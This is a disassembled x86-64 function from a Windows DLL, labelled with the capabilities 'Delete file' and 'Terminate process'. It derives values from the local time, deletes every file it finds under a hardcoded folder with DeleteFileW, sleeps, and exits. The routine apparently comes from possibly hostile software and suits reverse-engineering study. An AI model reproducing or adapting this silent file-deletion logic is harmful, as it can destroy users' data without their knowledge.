Function at 0x1800020d0
Capabilities:
Delete file
Terminate process

Disassembly:
sub rsp, 0x298
mov rax, qword [0x180017008]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rcx, str.Start
movaps xmmword [rsp + 0x280], xmm6
call fcn.1800019f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov r10d, dword [0x180017018]
xor r8d, r8d
movzx edx, word [rsp + 0x3e]
mov r9d, r8d
lea r11d, [r8 + 8]
cmp r10d, 2
jl 0x18000220e
movdqa xmm4, xmmword [0x180015540]
lea rcx, [rsp + 0x44]
movdqa xmm6, xmmword [0x180015550]
movsx eax, dx
movd xmm3, r11d
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pmovzxwd xmm5, xmm0
nop word [rax + rax]
xorps xmm0, xmm0
movd xmm1, r9d
pshufd xmm1, xmm1, 0
lea eax, [r9 + 4]
paddd xmm1, xmm4
lea rcx, [rcx + 8]
paddd xmm1, xmm5
add r9d, r11d
pcmpgtd xmm0, xmm1
pand xmm0, xmm6
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180015560]
packuswb xmm2, xmm2
movd dword [rcx - 0xc], xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm4
paddd xmm1, xmm5
pcmpgtd xmm0, xmm1
pand xmm0, xmm6
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180015560]
packuswb xmm2, xmm2
movd dword [rcx - 8], xmm2
cmp r9d, 0x20
jl 0x180002160
movsxd rcx, r9d
cmp rcx, 0x20
jge 0x180002241
movzx edx, dx
add edx, r9d
nop dword [rax]
mov eax, edx
and eax, 0x800000ff
jge 0x180002232
dec eax
or eax, 0xffffff00
inc eax
mov byte [rsp + rcx + 0x40], al
inc edx
inc rcx
cmp rcx, 0x20
jl 0x180002220
movzx edx, word [rsp + 0x3c]
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
cmp r10d, 2
jl 0x18000233e
movdqa xmm4, xmmword [0x180015540]
lea rcx, [rsp + 0x44]
movdqa xmm6, xmmword [0x180015550]
movsx eax, dx
movd xmm3, r11d
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pmovzxwd xmm5, xmm0
nop dword [rax + rax]
xorps xmm0, xmm0
movd xmm1, r8d
pshufd xmm1, xmm1, 0
lea eax, [r8 + 4]
paddd xmm1, xmm4
lea rcx, [rcx + 8]
paddd xmm1, xmm5
add r8d, r11d
pcmpgtd xmm0, xmm1
pand xmm0, xmm6
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180015560]
packuswb xmm2, xmm2
movd dword [rcx - 0xc], xmm2
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm4
paddd xmm1, xmm5
pcmpgtd xmm0, xmm1
pand xmm0, xmm6
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180015560]
packuswb xmm2, xmm2
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180002290
movaps xmm6, xmmword [rsp + 0x280]
movsxd rcx, r8d
cmp rcx, 0x10
jge 0x180002376
movzx edx, dx
add edx, r8d
mov eax, edx
and eax, 0x800000ff
jge 0x180002367
dec eax
or eax, 0xffffff00
inc eax
mov byte [rsp + rcx + 0x40], al
inc edx
inc rcx
cmp rcx, 0x10
jl 0x180002355
lea rdx, [rsp + 0x40]
call section..text
cmp word [str.C:KB4NewsimDataDirMainFolders19_Files], 0x3f
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [0x180018ed0], xmm0
je 0x18000244a
lea r8, str.C:KB4NewsimDataDirMainFolders19_Files
mov qword [rsp + 0x290], rbx
mov edx, 0x104
lea rcx, [rsp + 0x60]
call fcn.180004718
lea rcx, [rsp + 0x60]
call fcn.1800019f0
mov edx, 0x18
lea ecx, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea rcx, [rsp + 0x60]
mov qword [0x180018ee0], rax
call fcn.180001d50
lea rcx, [0x18001551c]
call fcn.1800019f0
mov rax, qword [0x180018ee0]
mov rbx, qword [rax]
test rbx, rbx
je 0x180002412
nop dword [rax]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180002400
lea rcx, [0x180015524]
call fcn.1800019f0
call fcn.180001900
lea rcx, [0x18001552c]
call fcn.1800019f0
mov ecx, 0xafc8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180002480
add rsp, 0x298
ret